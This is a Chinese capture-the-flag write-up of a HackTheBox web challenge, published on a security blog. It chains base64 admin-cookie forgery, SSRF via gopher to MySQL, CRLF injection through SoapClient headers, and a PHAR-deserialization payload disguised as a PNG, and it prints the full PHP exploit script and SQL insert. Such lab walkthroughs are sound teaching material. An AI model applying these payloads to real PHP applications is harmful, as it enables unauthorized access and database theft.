如果你喜欢我的文章,欢迎关注公众号:安全女巫
转载请注明出处:https://mp.weixin.qq.com/s/Jrlyle4CtMj3KBicEkAklQ
本文为作者前期作品,发布在Freebuf。
全文中截图网站地址、数据库信息等不一致,因htb靶机具有时效性,故每次启动分配的靶机信息都不一致。
该文档是在操作过程中记录,难度较大,通关整个耗时7天,在间断性放弃中坚持,实属不易。
有对htb感兴趣的同学,可添加微信,一起学习~
访问网站,查看页面基本信息
发现页面只有文件上传功能。
选择任意图片,点击提交按钮。进行抓包后重放,响应码为302
响应包中存在两个cookie,且两个cookie的前半部分一致
复制第一个cookie,进行智能解码,发现包含==。此为base64特征
所以只将前半部分进行base64解码
发现此为文件上传后图片名称,猜测username为网站用户名。将之更改为admin后更新cookie
eyJmaWxlcyI6W3siZmlsZV9uYW1lIjoiZjBhNzcucG5nIn0seyJmaWxlX25hbWUiOiI1ZTIzNC5wbmcifSx7ImZpbGVfbmFtZSI6IjI0MjdmLnBuZyJ9LHsiZmlsZV9uYW1lIjoiZGViNTcucG5nIn1dLCJ1c2VybmFtZSI6ImFkbWluIn0=.JDJ5JDEwJGZHNGhWaU9OSk1DZDhxaldrQllVbS5TcDBvZGtFNUpTclBETTJhdW5VZzFqd09UM3BEeXFh
将该cookie替换,得出响应包中cookie,并进行解码
解码后为admin,证明该cookie为admin。
替换该处cookie为admin
虽然是admin权限,但刷新页面功能并无变化。接着进行代码分析,寻找突破
可见/info能看到phpinfo信息
得到数据库主机、用户名、数据库名等信息。
看到proxy能想到的是ssrf
以上代码说明,url请求能正常执行的条件
跟进CustomSessionHandler.php文件
可知,cookie可以.分割,取.之前的部分,然后进行base64解码,解码后得到username。刚好用以判断session中username=admin
此部分为cookie生成规则,json数据格式进行base64编码+.+后面随机生成规则后base64编码。
故,我们可以拼接的方式以此生成新的cookie来绕过
以上5个条件均能绕过,故可使用ssrf来发送gopher协议请求来攻击mysql。目前知道mysql相关信息,可具体mysql语句如何利用。怎么回显都不太清楚,可继续看代码
该文件在入口文件处加载
跟进UserModel.php文件updateFiles函数
可获取session中username的值,查询出由该用户名插入的文件名,接着将该文件名插入session的files中。
我们可伪造username为admin,若插入一条数据,file_name=flag、username=admin。再通过直接访问主页,获取主页session.进行解码,即可得到解码后file的值即为flag。
刚好可利用gopher协议攻击mysql,插入一条mysql语句,通过查询的方式得到flag。
文件名为随机生成,只允许上传png文件,其他格式不允许。
综上。使用ssrf来发送gopher协议请求来攻击mysql,构造mysql语句使flag展示在session中的file。伪装图像绕过文件检测,上传该payload图片触发漏洞。
接下来对漏洞利用步骤进行分解:
1.插入flag到file_name字段的Mysql语句拼接
2.gopher协议构造
3.Admin session伪造
4.编写图片生成脚本以绕过检测
5.上传payload图片
6.访问主页获取session
7.Session用.分割,取.之前的部分进行base64解码后得到file中值即为flag。
1.查询出数据库中现存的flag值
2.插入一条数据将现存的flag存入文件名file_name字段中
entrypoint.sh文件可知完整sql语句,且flag已被插入数据库。故构造查询flag语句:
SELECT flag FROM db_fjqaG.definitely_not_a_flag。
接着插入一条新数据,以供flag可存入session的file中。故构造insert语句:
INSERT INTO db_XhnWU.files(file_name, checksum, username) VALUES('查询出的flag值','abc','admin');
完整mysql语句如下:
INSERT INTO db_XhnWU.files(file_name, checksum, username) VALUES((SELECT flag FROM db_XhnWU.definitely_not_a_flag),'abc','admin');
有数据库主机、用户名、数据库名,考虑可以使用gopher攻击mysql,生成协议可使用gopherus工具。
安装 https://github.com/tarunkant/Gopherus
注意格式gopher:///。
所以重新组成新的gopher链接:gopher:///127.0.0.1:3306/_字符串
上述文件上传部分已经实现了admin session伪造的发现过程。这边简述步骤。
1.文件上传抓包后重放,获取响应包中session
2.将响应包中session替换请求包中session再次发包
3.再次获得响应包中session替换请求包中session再次发包
4.获得响应包中session以.进行分割。(.前面部分进行base64解码成为包含username的json,将username改为admin,重新base64编码)+(.后面部分)=新的session
如此得到的便是Admin session.
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行
前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。
生成phar文件,修改后缀为jpg,上传文件处修改filename为‘phar://phar.jpg’,读取到flag
所以
Php.ini中去掉最前面的分号
extension=soap
Phar.readonly = Off
可使用如下脚本,运行后得到'payload.png即为payload图片
<?php
class ImageModel
{
public $file;
public function __construct($file){
$gopher = "gopher:///127.0.0.1:3306/_xxxxx";
$this->file=new SoapClient(null,array(
"location"=>"http://127.0.0.1:80/proxy",
"uri"=>"http://127.0.0.1:80/proxy",
"user_agent"=>"clrf-inject\r\n\r\n\r\n\r\n".
"POST /proxy HTTP/1.1\r\n".
"HOST: admin.imagetok.htb\r\n".
"Connection: close\r\n".
"Cookie: PHPSESSID=admin_session\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length:".strlen($gopher)."\r\n\r\n".$gopher."\r\n\r\n\r\n"
));
}
}
@unlink("payload.phar");
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->addFile('ssrf.png','ssrf.png');
$phar->setStub(file_get_contents('ssrf.png').'__HALT_COMPILER();?>');
$phar->setMetadata(new ImageModel('none'));
$phar->stopBuffering();
rename('payload.phar', 'payload.png');
?>
直接上传payload.png获得图片上传后地址
http://206.189.25.173:32763/image/d3706.png
访问phar图片以成功插入flag到file
http://206.189.25.173:32763/image/phar:%2f%2fd3706.png%2fssrf.png
访问主页抓包,更改请求包session为构造的admin session后发包获取session。
Session用.分割,取.之前的部分进行base64解码后得到file中值即为flag。
本文作者:PIG-Z
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/198872.html